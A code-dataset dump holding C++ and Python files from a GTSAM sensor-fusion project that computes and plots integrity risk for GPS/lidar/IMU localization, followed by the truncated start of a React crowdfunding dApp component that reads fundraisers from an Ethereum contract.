for (vector<string>::iterator
it_type= factor_types.begin();
it_type != factor_types.end();
++it_type) {
string h_type= *it_type;
LOG(DEBUG)<< "--> Hypothesis "<< h_type;
for (int i= 0; i < counters.A_rows[h_type].size(); ++i) {
LOG(DEBUG)<< "row: "<< counters.A_rows[h_type][i].first
<< "\ttime: "<< counters.A_rows[h_type][i].second;
}
// extract the row indexes
vector<int> row_inds;
transform(counters.A_rows[h_type].begin(),
counters.A_rows[h_type].end(),
back_inserter( row_inds ),
return_first_element );
// number of msmts for hypothesis
int h_n= row_inds.size();
if (h_n == 0) {
LOG(WARNING)<< h_type<< " hypothesis is empty";
continue;
}
// extract rows & cols from M
Matrix h_M = extract_matrix_rows_and_columns(M, row_inds, row_inds);
Eigen::FullPivLU<Matrix> h_M_lu(h_M);
h_M_lu.setThreshold(1e-7);
double h_M_rank= h_M_lu.rank();
LOG(DEBUG)<< "size of M = "
<< h_M.rows()<< " x "
<< h_M.cols();
LOG(DEBUG)<< "rank(M) = "<< h_M_rank;
// compute LIR only if h_M is full rank
if (h_M_rank != h_M.rows()){
LOG(WARNING)<< "M for hypothesis "<< h_type<< " is rank deficient";
continue;
}
// build vector D
Eigen::SelfAdjointEigenSolver<Matrix> adj(h_M);
Matrix h_M_inv_sqrt= adj.operatorInverseSqrt();
// vector D
map<string, Vector> D;
D["x"]= h_M_inv_sqrt * extract_matrix_rows(S_transpose, row_inds) * t_vector["x"];
D["y"]= h_M_inv_sqrt * extract_matrix_rows(S_transpose, row_inds) * t_vector["y"];
D["z"]= h_M_inv_sqrt * extract_matrix_rows(S_transpose, row_inds) * t_vector["z"];
// get kappa
map<string, double> k;
k["x"]= D["x"].squaredNorm() / variances.x.value;
k["y"]= D["y"].squaredNorm() / variances.y.value;
k["z"]= D["z"].squaredNorm() / variances.z.value;
LOG(DEBUG)<< "k x: "<< k["x"];
LOG(DEBUG)<< "k y: "<< k["y"];
LOG(DEBUG)<< "k z: "<< k["z"];
// non-centrality parameter
map<string, double> mu;
mu["x"]= k["x"] * lambda;
mu["y"]= k["y"] * lambda;
mu["z"]= k["z"] * lambda;
LOG(DEBUG)<< "mu x: "<< mu["x"];
LOG(DEBUG)<< "mu y: "<< mu["y"];
LOG(DEBUG)<< "mu z: "<< mu["z"];
// compute integrity
H_LIR h_lir;
h_lir.set("x", 1 - boost::math::cdf(
boost::math::non_central_chi_squared(1, mu["x"]),
pow(params.AL_x / variances.x.std(), 2)) );
h_lir.set("y", 1 - boost::math::cdf(
boost::math::non_central_chi_squared(1, mu["y"]),
pow(params.AL_y / variances.y.std(), 2)) );
h_lir.set("z", 1 - boost::math::cdf(
boost::math::non_central_chi_squared(1, mu["z"]),
pow(params.AL_z / variances.z.std(), 2)) );
// copy to LIR main variable
lir.set(h_type, h_lir);
LOG(DEBUG)<< "LIR for h in x: "<< h_lir.x;
LOG(DEBUG)<< "LIR for h in y: "<< h_lir.y;
LOG(DEBUG)<< "LIR for h in z: "<< h_lir.z;
}
LOG(TRACE)<< "Exit calculating_LIR";
return lir;
// save factor graph as graphviz dot file
// Use this to convert to png image
// dot -Tpng -Gdpi=1000 isam_example.dot -o isam_example.png
// ofstream os("isam_example.dot");
// factor_graph.saveGraph(os, result_fl);
// GTSAM_PRINT(result);
}
<file_sep>/Counters.h
#pragma once
#include "Params.h"
#include "third_party/easyloggingpp/src/easylogging++.h"
using namespace std;
using namespace gtsam;
typedef std::vector< std::pair<int, double> > pair_vector;
class Counters{
/*
Counters class that contains variables related to time and
number of elements. It also keeps track of the added and
removed rows in the Jacobian A.
*/
public:
Counters(Params const ¶ms){
this->current_time= 0;
this->gps_time_accum= 0;
// this->num_imu_epochs= params.sim_time / params.dt_imu;
this->current_factor= 0;
this->prev_factor= -1;
this->dt_imu= params.dt_imu;
this->dt_gps= params.dt_gps;
// initialize A_rows with all msmt types
pair_vector empty_pair_vector;
this->A_rows.insert({"prior_pose", empty_pair_vector});
this->A_rows.insert({"prior_vel", empty_pair_vector});
this->A_rows.insert({"prior_bias", empty_pair_vector});
this->A_rows.insert({"lidar", empty_pair_vector});
this->A_rows.insert({"odom", empty_pair_vector});
this->A_rows.insert({"gps", empty_pair_vector});
this->num_A_rows= 0;
// initialize factor types vector
std::vector<std::string> temp_vec;
this->types= temp_vec;
};
double current_time;
double gps_time_accum;
// double num_imu_epochs;
double dt_imu;
double dt_gps;
// state factors, i.e. X(#factor), V(#factor), and B(#factor)
int current_factor;
int prev_factor;
// to keep track of the msmts in the Jacobian (A)
std::map<std::string, pair_vector> A_rows;
int num_A_rows;
// to keep track of factor types
std::vector<std::string> types;
/*
increase time by dt_imu
*/
void increase_time(){
this->current_time += this->dt_imu;
this->gps_time_accum += this->dt_imu;
}
/*
set the accumulation time to zero
This is done after the update
*/
void reset_timer(){
this->gps_time_accum= 0;
}
/*
increase the number of factor by one
*/
void increase_factors_count(){
this->current_factor += 1;
this->prev_factor += 1;
}
/*
add an estry with the name of the factor to
"types" field
*/
void add_factor(std::string type);
/*
removes rows corresponding to factors that were
factorized
*/
void update_A_rows(const double lag);
};
<file_sep>/RangeBearingMeasurement.h
#pragma once
#include <gtsam/geometry/SimpleCamera.h>
class RangeBearingMeasurement{
public:
RangeBearingMeasurement(double range, Unit3 bearing){
this->range= range;
this->bearing= bearing;
}
double range;
Unit3 bearing;
};<file_sep>/python/analysis.py
import os
import matplotlib.pyplot as plt
import numpy as np
# import csv
from scipy.stats import chi2
from astropy.visualization import hist
import scipy.stats as scipy
import argparse
import itertools
import logging
from mpl_toolkits.mplot3d import Axes3D
import logging
from Data import Data
# config logger
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# -------------------------------------------------------
# -------------------------------------------------------
def make_residuals_plot(data, workspace):
fig, axs= plt.subplots(4)
plt.xlabel('Time [s]')
# plot errors
for errors_name, ind in zip(data.errors['names'], \
range(0, data.errors['values'].shape[1])):
if errors_name == 'x' or \
errors_name == 'y' or \
errors_name == 'z':
axs[0].plot(data.errors['values'][:,0], \
data.errors['values'][:,ind], \
label= errors_name)
axs[0].grid(b=True)
axs[0].legend()
# plot residuals
axs_ind= 1 # start at the second plot
for res_name, ind in zip(data.residuals['names'], \
range(0,data.residuals['values'].shape[1])):
if res_name == 'imu' or\
res_name == 'gps' or\
res_name == 'lidar':
axs[axs_ind].plot(data.residuals['values'][:,0], \
data.residuals['values'][:,ind], \
label=res_name)
axs[axs_ind].grid(b=True)
axs[axs_ind].legend()
axs_ind += 1
# save figure
filename= os.path.join(workspace, 'residuals.png')
fig.savefig(filename, dpi=400)
# -------------------------------------------------------
# -------------------------------------------------------
def make_variance_plot(data, workspace):
logger.debug('Enter make_variance_plot.')
# first figure for (x y z)
fig, axs= plt.subplots(3)
plt.xlabel('Time [s]')
plt.ylabel('Errors + 1sig. SD [m]')
logger.info('The error names are: ')
logger.info(data.errors['names'])
# plot errors (x y z)
for errors_name, ind in zip(data.errors['names'], \
range(0, data.errors['values'].shape[1])):
if errors_name == 'x':
logger.info('Plot ' + errors_name + ' with index ' + str(ind))
axs[0].plot(data.errors['values'][:,0], \
np.abs(data.errors['values'][:,ind]), \
label= errors_name + ' error')
axs[0].grid(b=True)
axs[0].legend()
if errors_name == 'y':
logger.info('Plot ' + errors_name + ' with index ' + str(ind))
axs[1].plot(data.errors['values'][:,0], \
np.abs(data.errors['values'][:,ind]), \
label= errors_name + ' error')
axs[1].grid(b=True)
axs[1].legend()
if errors_name == 'z':
logger.info('Plot ' + errors_name + ' with index ' + str(ind))
axs[2].plot(data.errors['values'][:,0], \
np.abs(data.errors['values'][:,ind]), \
label= errors_name + ' error')
axs[2].grid(b=True)
axs[2].legend()
logger.info('The variance names are: ')
logger.info(data.var['names'])
# plot variances (x y z)
for var_name, ind in zip(data.var['names'], \
range(0, data.var['values'].shape[1])):
if var_name == 'x':
logger.info('Plot ' + var_name + ' with index ' + str(ind))
axs[0].plot(data.var['values'][:,0], \
np.sqrt(data.var['values'][:,ind]), \
linestyle='--', \
label=var_name + ' 1sig. SD')
axs[0].grid(b=True)
axs[0].legend()
if var_name == 'y':
logger.info('Plot ' + var_name + ' with index ' + str(ind))
axs[1].plot(data.var['values'][:,0], \
np.sqrt(data.var['values'][:,ind]), \
linestyle='--', \
label=var_name + ' 1sig. SD')
axs[1].grid(b=True)
axs[1].legend()
if var_name == 'z':
logger.info('Plot ' + var_name + ' with index ' + str(ind))
axs[2].plot(data.var['values'][:,0], \
np.sqrt(data.var['values'][:,ind]), \
linestyle='--', \
label=var_name + ' 1sig. SD')
axs[2].grid(b=True)
axs[2].legend()
# save figure
filename= os.path.join(workspace, 'variances_xyz.png')
fig.savefig(filename, dpi=400)
# second figure for (roll pitch yaw)
fig, axs= plt.subplots(3)
plt.xlabel('Time [s]')
plt.ylabel('Error + 1sig. SD [Rad]')
# plot errors (roll pitch yaw)
for errors_name, ind in zip(data.errors['names'], \
range(0, data.errors['values'].shape[1])):
if errors_name == 'roll':
logger.info('Plot ' + errors_name + ' with index ' + str(ind))
axs[0].plot(data.errors['values'][:,0], \
np.abs(data.errors['values'][:,ind]), \
label=errors_name + ' 1sig. SD')
axs[0].grid(b=True)
axs[0].legend()
if errors_name == 'pitch':
logger.info('Plot ' + errors_name + ' with index ' + str(ind))
axs[1].plot(data.errors['values'][:,0], \
np.abs(data.errors['values'][:,ind]), \
label=errors_name + ' 1sig. SD')
axs[1].grid(b=True)
axs[1].legend()
if errors_name == 'yaw':
logger.info('Plot ' + errors_name + ' with index ' + str(ind))
axs[2].plot(data.errors['values'][:,0], \
np.abs(data.errors['values'][:,ind]), \
label=errors_name + ' 1sig. SD')
axs[2].grid(b=True)
axs[2].legend()
# plot variances (roll pitch yaw)
for var_name, ind in zip(data.var['names'], \
range(0, data.var['values'].shape[1])):
if var_name == 'roll':
logger.info('Plot ' + var_name + ' with index ' + str(ind))
axs[0].plot(data.var['values'][:,0], \
np.sqrt(data.var['values'][:,ind]), \
linestyle='--', \
label=var_name + ' 1sig. SD')
axs[0].grid(b=True)
axs[0].legend()
if var_name == 'pitch':
logger.info('Plot ' + var_name + ' with index ' + str(ind))
axs[1].plot(data.var['values'][:,0], \
np.sqrt(data.var['values'][:,ind]), \
linestyle='--', \
label=var_name + ' 1sig. SD')
axs[1].grid(b=True)
axs[1].legend()
if var_name == 'yaw':
logger.info('Plot ' + var_name + ' with index ' + str(ind))
axs[2].plot(data.var['values'][:,0], \
np.sqrt(data.var['values'][:,ind]), \
linestyle='--', \
label=var_name + ' 1sig. SD')
axs[2].grid(b=True)
axs[2].legend()
# save figure
filename= os.path.join(workspace, 'variances_rpy.png')
fig.savefig(filename, dpi=400)
logger.debug('Exit make_variance_plot.')
# -------------------------------------------------------
# -------------------------------------------------------
def make_lir_plot(data, workspace):
fig, axs= plt.subplots(3)
plt.xlabel('Time [s]')
# plot errors
for errors_name, ind in zip(data.errors['names'], \
range(0, data.errors['values'].shape[1])):
if errors_name == 'x' or \
errors_name == 'y' or \
errors_name == 'z':
axs[0].plot(data.errors['values'][:,0], \
data.errors['values'][:,ind], \
label= errors_name)
axs[0].grid(b=True)
axs[0].legend()
# plot LIR per hypothesis
for hypo_name, ind in zip(data.lir['names'], \
range(0, data.lir['values'].shape[1])):
if 'gps' in hypo_name:
axs[1].plot(data.lir['values'][:,0], \
data.lir['values'][:,ind], \
label=hypo_name)
axs[1].grid(b=True)
axs[1].set_yscale('log')
axs[1].legend()
if 'lidar' in hypo_name:
axs[2].plot(data.lir['values'][:,0], \
data.lir['values'][:,ind], \
label=hypo_name)
axs[2].grid(b=True)
axs[2].set_yscale('log')
axs[2].legend()
# save figure
filename= os.path.join(workspace, 'lir.png')
fig.savefig(filename, dpi=400)
# -------------------------------------------------------
# -------------------------------------------------------
def make_trajectory_plot(data, params, workspace):
# initialize figure
fig= plt.figure()
axs= plt.subplot(111, projection='3d')
# plot estimated + true trajectory
axs.plot(data.estimated_states['values'][:,4], \
data.estimated_states['values'][:,5], \
data.estimated_states['values'][:,6], \
color= 'b', linestyle='-', marker='o')
axs.plot(data.true_states['values'][:,4], \
data.true_states['values'][:,5], \
data.true_states['values'][:,6], \
color= 'r', linestyle='-')
# plot landmarks
axs.scatter3D(params['landmark'][:][0], \
params['landmark'][:][1], \
params['landmark'][:][2], \
color= 'g', marker='^', s=100)
# add axis
axs.set_xlabel('X [m]')
axs.set_ylabel('Y [m]')
axs.set_zlabel('Z [m]')
# save figure
filename= os.path.join(workspace, 'trajectory_1.png')
fig.savefig(filename, dpi=400)
filename= os.path.join(workspace, 'trajectory_2.png')
axs.view_init(azim=30)
fig.savefig(filename, dpi=400)
# -------------------------------------------------------
# -------------------------------------------------------
def make_plots(data, \
params, \
workspace= [], \
residuals_plot= True, \
variances_plot= True, \
lir_plot= True, \
trajectory_plot= True):
'''
Plots the data loaded in load_data and set to true
- residuals
- variances (and errors)
- LIR
- trajectory with estimate + true positions
'''
# if workspace is not specified, used the one in params
if workspace == []:
workspace= params['workspace']
# --> figure residuals
if residuals_plot:
make_residuals_plot(data, workspace)
# --> figure variances
if variances_plot:
make_variance_plot(data, workspace)
# --> figure LIR
if lir_plot:
make_lir_plot(data, workspace)
# --> plot trajectory + landmarks
if trajectory_plot:
make_trajectory_plot(data, params, workspace)
# -------------------------------------------------------
# -------------------------------------------------------
def load_data(workspace, \
load_residuals= True, \
load_errors= True, \
load_variances= True, \
load_lir= True, \
load_trajectory= True):
'''
Loads residuals, errors and LIR if set to true
Returns a Data obj with dictionary entries:
- names
- values
'''
data= Data()
# read residuals form csv
if load_residuals:
filename= os.path.join(workspace, 'residuals.csv')
data.residuals['values']= np.genfromtxt(filename, delimiter=',', skip_header=1)
with open(filename, 'r') as f:
line= f.readline().strip()
data.residuals['names']= line.split(' ')
# eliminate possible empty entries
data.residuals['names']= filter(lambda a: a != '', data.residuals['names'])
# read errors from csv
if load_errors:
filename= os.path.join(workspace, 'errors.csv')
data.errors['values']= np.genfromtxt(filename, delimiter=',', skip_header=1)
with open(filename, 'r') as f:
line= f.readline().strip()
data.errors['names']= line.split(' ')
# eliminate possible empty entries
data.errors['names']= filter(lambda a: a != '', data.errors['names'])
# read variances from csv
if load_variances:
filename= os.path.join(workspace, 'variances.csv')
data.var['values']= np.genfromtxt(filename, delimiter=',', skip_header=1)
with open(filename, 'r') as f:
line= f.readline().strip()
data.var['names']= line.split(' ')
# eliminate possible empty entries
data.var['names']= filter(lambda a: a != '', data.var['names'])
# read LIR from csv
if load_lir:
filename= os.path.join(workspace, 'lir.csv')
# skip two lines b/c at time 0, LIR is not set
data.lir['values']= np.genfromtxt(filename, delimiter=',', skip_header=2)
# set zeros to 1e-12 (careful, set times to 1e-12 too)
mask= data.lir['values'] < 1e-12
data.lir['values'][mask]= 1e-12
with open(filename, 'r') as f:
line= f.readline().strip()
data.lir['names']= line.split(' ')
# eliminate possible empty entries
data.lir['names']= filter(lambda a: a != '', data.lir['names'])
# read estimated and true states
if load_trajectory:
# read estimated states
filename= os.path.join(workspace, 'estimated_states.csv')
data.estimated_states['values']= np.genfromtxt(filename, \
delimiter=',', \
skip_header=1)
with open(filename, 'r') as f:
line= f.readline().strip()
data.estimated_states['names']= line.split(' ')
# eliminate possible empty entries
data.estimated_states['names']= filter(lambda a: a != '', data.estimated_states['names'])
# read true states
filename= os.path.join(workspace, 'true_states.csv')
data.true_states['values']= np.genfromtxt(filename, \
delimiter=',', \
skip_header=1)
with open(filename, 'r') as f:
line= f.readline().strip()
data.true_states['names']= line.split(' ')
# eliminate possible empty entries
data.true_states['names']= filter(lambda a: a != '', data.true_states['names'])
# return data
return data
# -------------------------------------------------------
# -------------------------------------------------------
def load_params(workspace):
'''
Loads the parameters from the copy of params
stored in the folder of the log
'''
# the full path to the params file
filename= os.path.join(workspace, 'params.txt')
# initilize params dict
params= {}
FILE= open(filename)
for line in FILE:
# check if it's an empty line
if not line.strip(): continue
# check if it's a comment -> continue
if line[0] == '#': continue
# check if there is a comment after the param value
comment_ind= line.find('#')
if not comment_ind == -1:
line= line[0:comment_ind]
# get the name & value
name, value= line.split("=")
value= value.strip()
# add the landmarks differently
if name == 'landmark':
x,y,z= value.split(',')
value= [float(x), float(y), float(z)]
if 'landmark' in params:
params[name].append(value)
else:
params[name]= []
params[name].append(value)
# for the other parameters
else:
if value.isdigit():
value= float(value)
# add to params dict
params[name]= value
return params
# -------------------------------------------------------
# --------------------------- MAIN ----------------------
def main():
# Construct the argument parser
parser= argparse.ArgumentParser()
# Add the arguments to the parser
parser.add_argument("-a", "--workspace", \
required=True, \
help="first operand")
args= vars(parser.parse_args())
# read params
params= load_params(args['workspace'])
# load data
data= load_data(params['workspace'])
# save plots
make_plots(data, \
params, \
workspace= params['workspace'], \
residuals_plot= True, \
variances_plot= True, \
lir_plot= True, \
trajectory_plot= True)
# # initialize
# res= {}
# for res_type in res_types:
# if res_type == 'odom':
# res[res_type]= residuals[:,0]
# elif res_type == 'gps':
# res[res_type]= residuals[:,1]
# elif res_type == 'lidar':
# res[res_type]= residuals[:,2]
# elif res_type == 'sum':
# res[res_type]= residuals[:,3]
# else:
# raise ValueError('Not implemented for ' + res_type)
# # chi-squared
# mean, var, skew, kurt = chi2.stats(dof[res_type], moments='mvsk')
# print '---- ' + res_type + ' ----'
# print 'Expected for ' + str(dof[res_type]) + ' dof:'
# print 'mean: ' + str(mean) + \
# '\tvar: ' + str(var) +\
# '\tskew: ' + str(skew) +\
# '\tkurt: ' + str(kurt)
# print 'From data:'
# print 'mean: ' + str(np.mean(res[res_type])) + \
# '\tvar: ' + str(np.var(res[res_type])) +\
# '\tskew: ' + str(scipy.skew(res[res_type])) + \
# '\tkurt: ' + str(scipy.kurtosis(res[res_type]))
# # create figure
# fig, ax = plt.subplots(1, 1)
# # plot chi-squared pdf
# x= np.linspace(chi2.ppf(0.0001, dof['sum']), \
# chi2.ppf(0.9999, dof['sum']), 300)
# ax.plot(x, \
# chi2.pdf(x, dof['sum']), \
# 'r-', \
# lw=5, \
# alpha=0.5, \
# label='chi2 pdf')
# # plot histogram for residuals
# num_bins= int(res['sum'].size / 10)
# # hist(r, bins= 'knuth', density=True, histtype='stepfilled', alpha=0.5)
# hist(res['sum'], \
# bins= num_bins, \
# density=True, \
# histtype='stepfilled', \
# alpha=1)
# plt.show()
if __name__ == '__main__':
main()
<file_sep>/LIR.h
#pragma once
// -------------------------------------------------------
class H_LIR {
public:
H_LIR() {
this->x= -1;
this->y= -1;
this->z= -1;
this->lateral= -1;
this->longitudinal= -1;
this->vertical= -1;
this->roll= -1;
this->pitch= -1;
this->yaw= -1;
}
void set(std::string state,
double lir){
if (state == "x") {
this->x= lir;
} else if (state == "y") {
this->y= lir;
} else if (state == "z") {
this->z= lir;
} else if (state == "lateral") {
this->lateral= lir;
} else if (state == "longitudinal") {
this->longitudinal= lir;
} else if (state == "vertical") {
this->vertical= lir;
} else if (state == "roll") {
this->roll= lir;
} else if (state == "pitch") {
this->pitch= lir;
} else if (state == "yaw") {
this->yaw= lir;
} else {
LOG(WARNING)<< state<< " is not include in H_LIR class";
}
};
double x;
double y;
double z;
double lateral;
double longitudinal;
double vertical;
double roll;
double pitch;
double yaw;
};
// -------------------------------------------------------
class LIR {
public:
/*
*/
void set(std::string hypothesis,
H_LIR &h_lir) {
if (hypothesis == "null") {
this->null= h_lir;
} else if (hypothesis == "lidar") {
this->lidar= h_lir;
} else if (hypothesis == "gps") {
this->gps= h_lir;
} else if (hypothesis == "odom") {
this->odom= h_lir;
} else {
LOG(WARNING)<< hypothesis<< " is not include in LIR class";
}
};
H_LIR null;
H_LIR lidar;
H_LIR gps;
H_LIR odom;
};
<file_sep>/Params.h
#pragma once
#include <gtsam/geometry/SimpleCamera.h>
#include <gtsam/navigation/CombinedImuFactor.h>
#include <gtsam/nonlinear/ISAM2.h>
#include <random>
using namespace gtsam;
using namespace std;
struct Params{
/*
Struc that contains the parameters for the simulation.
The default parameters are included here and can be changed at runtime
e.g. if you want to change the uncertainty in the IMU accelerometer
"--accel_noise_sigma 0.2"
*/
// constant -- cannot be changed with the options parser
const double k_gravity = 9.81;
// -----------------------------------
// params that are build later
gtsam::noiseModel::Diagonal::shared_ptr lidar_cov;
gtsam::noiseModel::Diagonal::shared_ptr gps_cov;
gtsam::noiseModel::Diagonal::shared_ptr prior_pose_cov;
gtsam::noiseModel::Diagonal::shared_ptr prior_vel_cov;
gtsam::noiseModel::Diagonal::shared_ptr prior_bias_cov;
gtsam::Matrix33 measured_acc_cov;
gtsam::Matrix33 measured_omega_cov;
gtsam::Matrix33 bias_acc_cov;
gtsam::Matrix33 bias_omega_cov;
gtsam::Matrix33 integration_error_cov;
gtsam::Matrix66 bias_acc_omega_int;
boost::shared_ptr<PreintegratedCombinedMeasurements::Params> imu_params;
gtsam::PreintegratedCombinedMeasurements accum;
std::map<std::string, std::normal_distribution<double>> noise_dist;
gtsam::ISAM2Params isam_params, fl_isam_params;
std::map<std::string, bool> is_noisy;
// -----------------------------------
// options with default values
// for debug
bool is_verbose= false;
// IMU noise specs
// TODO: investigate what this units are.
double accel_noise_sigma= 0.0003924; //0.1; // default: 0003924
double gyro_noise_sigma= 0.000205689024915; // 0.1; // default: 000205689024915
double accel_bias_rw_sigma = 0.004905; // default: 0.004905
double gyro_bias_rw_sigma = 0.000001454441043; // default: 0.000001454441043
// GPS position noise spec
double gps_noise_sigma = 1.0; // meters
// IMU freq
double dt_imu = 1.0 / 200; // default 125HZ -- makes for 10 degrees per step (1.0 / 18)
// GPS freq (at the moment GPS and lidar are sync)
// TODO: add functionality to have asynchronous GPS and lidar measurements
double dt_gps = 1.0; // seconds
// The current scenario simulate a robot moving in circles,
// this is the radius of such movement & linear velocity
double scenario_radius = 30; // meters
double scenario_linear_vel = 50 / 3.6; // m/s
// lidar feature detections noise specs
double range_noise_sigma = 0.20; // meters, range standard deviation
double bearing_noise_sigma = 3 * M_PI / 180; // rads, bearing standard dev
// default simulation time (to increase the simulation time: "--sim_time <time_in_secs>")
double sim_time= 2; // seconds
// deprecated
bool evaluate_nonlinear_error= true; // for the residuals
// prob allocation for the upper bound of lambda
double P_lambda= 1e-5;
// Alert limits
double AL_x= 1; // meters, alert limit in x-coord
double AL_y= 1; // meters, alert limit in y-coord
double AL_z= 1; // meters, alert limit in z-coord
// if set to false, the measurements are perfect
bool is_noisy_gps= true; // if the GPS measurements are noisy
bool is_noisy_lidar= true; // if the lidar measurements are noisy
bool is_noisy_imu= true; // if the IMU measurements are noisy
bool is_noisy_prior= true; // if the prior pose is noisy
// prior position noise
double prior_position_noise_sigma= 0.01; //meters
// prior orientation noise
double prior_orientation_noise_sigma= 0.01; //rads
// prior velocity noise
double prior_vel_noise_sigma= 0.01; // m/s
// prior IMU bias noise
double prior_bias_acc_noise_sigma= 0.05; // m/s2
double prior_bias_gyro_noise_sigma= 1 * M_PI / 180; // rad
// noise generator seed
int seed= 0;
// fixed-lag smoother lag time
double lag= 3;
// workspace folder
std::string workspace;
// logger config file
std::string logger_config_file= "../logger.conf";
// landmarks
std::vector<gtsam::Point3> landmarks;
};
<file_sep>/third_party/easyloggingpp/build/CMakeFiles/easyloggingpp-unit-tests.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/easyloggingpp-unit-tests.dir/src/easylogging++.cc.o"
"CMakeFiles/easyloggingpp-unit-tests.dir/test/main.cc.o"
"easyloggingpp-unit-tests"
"easyloggingpp-unit-tests.pdb"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/easyloggingpp-unit-tests.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/calculate_LIR.h
#pragma once
#include "Counters.h"
#include "Params.h"
#include "LIR.h"
#include <gtsam_unstable/nonlinear/IncrementalFixedLagSmoother.h>
/*
*/
LIR calculate_LIR(
const gtsam::Values result,
const gtsam::IncrementalFixedLagSmoother &fixed_lag_smoother,
Counters &counters,
const Params ¶ms);
<file_sep>/RangeBearingFactorMap.cpp
#include "RangeBearingFactorMap.h"
Vector RangeBearingFactorMap::evaluateError(const Pose3& q, boost::optional<Matrix&> H) const {
Eigen::MatrixXd range_jacobian;
Eigen::MatrixXd bearing_jacobian;
double expected_range = q.range(landmark_, range_jacobian);
// double expected_range = sqrt(pow( q.x() - landmark_.x(), 2 ) +
// pow( q.y() - landmark_.y(), 2 ) +
// pow( q.z() - landmark_.z(), 2 ) );
double range_error = expected_range - range_msmt;
Unit3 expected_bearing = q.bearing(landmark_, bearing_jacobian);
// Unit3 expected_bearing(landmark_.x() - q.x(),
// landmark_.y() - q.y(),
// landmark_.z() - q.z());
Vector2 bearing_error = bearing_msmt.errorVector(expected_bearing);
if (H) {
Eigen::MatrixXd jacobian( 3, 6);
jacobian << bearing_jacobian, range_jacobian;
// (*H) = (Eigen::MatrixXd << bearing_jacobian, range_jacobian).finished();
(*H) = jacobian;
}
return (Vector(3) << bearing_error, range_error).finished();
}
<file_sep>/Counters.cpp
#include "Counters.h"
using namespace std;
using namespace gtsam;
// ----------------------------------------------------
void Counters::add_factor(string type){
this->types.push_back(type);
}
// ----------------------------------------------------
void Counters::update_A_rows(const double lag) {
// if there has not being marginalization -> return
if (this->current_time <= lag) {
LOG(DEBUG)<< "Time: "<< this->current_time
<< " lag: "<< lag
<< " -> no marginalization";
return;
}
// time at the beggining of the sliding window
double time_threshold= this->current_time - lag;
LOG(DEBUG)<< "Remove factors from time"
<< time_threshold
<< "until current time: "
<< this->current_time;
int num_erased_rows= 0;
for (map<string, pair_vector>::iterator
it_types= this->A_rows.begin();
it_types != this->A_rows.end();
++it_types) {
// type of the factor
string type= it_types->first;
// vector with: (A_rows & time)
pair_vector &row_time= this->A_rows[type];
// for each row of this type included
pair_vector::iterator it_rows= row_time.begin();
while ( it_rows < row_time.end() ) {
double msmt_time= it_rows->second;
// remove factors before the sw
if (msmt_time < time_threshold) {
// cout<< "remove msmt at time: "<< msmt_time
// << "\tat row: "<< it_rows->first<< endl;
row_time.erase(it_rows);
++num_erased_rows;
// remove the last odom factor
} else if (type == "odom" &&
msmt_time < time_threshold + this->dt_gps) {
row_time.erase(it_rows);
++num_erased_rows;
} else {
++it_rows;
}
}
}
// substract the number of removed factors from the row indexes
for (map<string, pair_vector>::iterator
it_types= this->A_rows.begin();
it_types != this->A_rows.end();
++it_types) {
string type= it_types->first;
// vector with: (A_rows & time)
pair_vector &row_time= this->A_rows[type];
// for each row of this type included
for (int i= 0; i < row_time.size(); ++i) {
row_time[i].first= row_time[i].first - num_erased_rows;
}
}
// keep count of the number of rows in A (this doesn't account for the prior hessina factor)
this->num_A_rows -= num_erased_rows;
}
|
73ce8bd81bbf90e374c670a0bbf2e714cfcd2aab
|
[
"C",
"Python",
"CMake",
"C++"
] | 26 |
C++
|
gduenas001/gtsam_examples
|
ef573cd4c070deefab6ab28a85a2d8d8a4af3343
|
2fb45823e835e00b701842806b5e9933b0683f2c
|
refs/heads/main
|
<repo_name>MichaelHDesigns/HTHWorld<file_sep>/src/components/AllFundraisers.js
import React, { useState, useEffect } from 'react';
import { Link } from 'react-router-dom';
import Web3 from 'web3';
import { ethers } from 'ethers';
import CrowdFunding from '../abi/CrowdFunding.json';
import Navbar from "./Navbar";
const AllFundraisers = () => {
const [fundraisers, setFundraisers] = useState([]);
const [totalAmountRaised, setTotalAmountRaised] = useState(0);
const fetchData = async () => {
try {
if (window.ethereum) {
await window.ethereum.enable();
const web3 = new Web3(window.ethereum);
const contract = new web3.eth.Contract(CrowdFunding.abi, '0x1cdd7Ac8B83843e35C417Ef3C293be3051Ae1bca');
const totalRaised = await contract.methods.getTotalAmountRaised().call();
setTotalAmountRaised(ethers.utils.formatEther(totalRaised));
const numFundraisers = await contract.methods.getFundraiserCount().call();
const fundraiserDetails = await Promise.all(
Array.from({ length: numFundraisers }, (_, index) => contract.methods.getFundraiserDetails(index).call())
).then((details) =>
details.map((detail) => ({
creator: detail[0],
fundingGoal: ethers.utils.formatEther(detail[1]),
deadline: formatDate(detail[2]),
amountRaised: ethers.utils.formatEther(detail[3]),
isOpen: detail[4],
title: detail[5],
description: detail[6],
contractAddress: contract.options.address, // add the contract address to the fundraiser details
}))
);
setFundraisers(fundraiserDetails);
} else {
console.log('Please install MetaMask to use this dApp!');
}
} catch (error) {
console.error(error);
}
};
useEffect(() => {
fetchData();
}, []);
const formatDate = (timestamp) => {
const date = new Date(timestamp * 1000);
const formattedDate = date.toLocaleDateString();
const formattedTime = date.toLocaleTimeString();
return `${formattedDate} at ${formattedTime}`;
};
// Function to handle contributing to a campaign
const contributeToCampaign = async (index) => {
try {
if (window.ethereum) {
await window.ethereum.enable();
const web3 = new Web3(window.ethereum);
const contract = new web3.eth.Contract(CrowdFunding.abi, '0x1cdd7Ac8B83843e35C417Ef3C293be3051Ae1bca');
const value = window.prompt('How much do you want to contribute (in ETH)?');
if (!value || isNaN(value)) {
throw new Error('Please enter a valid amount.');
}
const accounts = await web3.eth.getAccounts();
const address = accounts[0];
const weiValue = ethers.utils.parseEther(value);
await contract.methods.contribute(index).send({ from: address, value: weiValue });
// Refresh the list of fundraisers after contributing
fetchData();
} else {
console.log('Please install MetaMask to use this dApp!');
}
} catch (error) {
console.error(error);
}
};
const getProgress = (amountRaised, fundingGoal) => {
const percentComplete = (amountRaised * 100) / fundingGoal;
return percentComplete > 100 ? 100 : percentComplete;
};
return (
<div>
<Navbar></Navbar>
<br/>
<div>
<div>
<h1>All Fundraisers</h1>
</div>
<p>Total Amount Raised: {totalAmountRaised} HTHW</p>
<br/>
<div className="card-container">
{fundraisers.map((fundraiser, index) => (
<div className="card" key={index}>
<h2>{fundraiser.title}</h2>
<p><strong>Creator:</strong> {fundraiser.creator}</p>
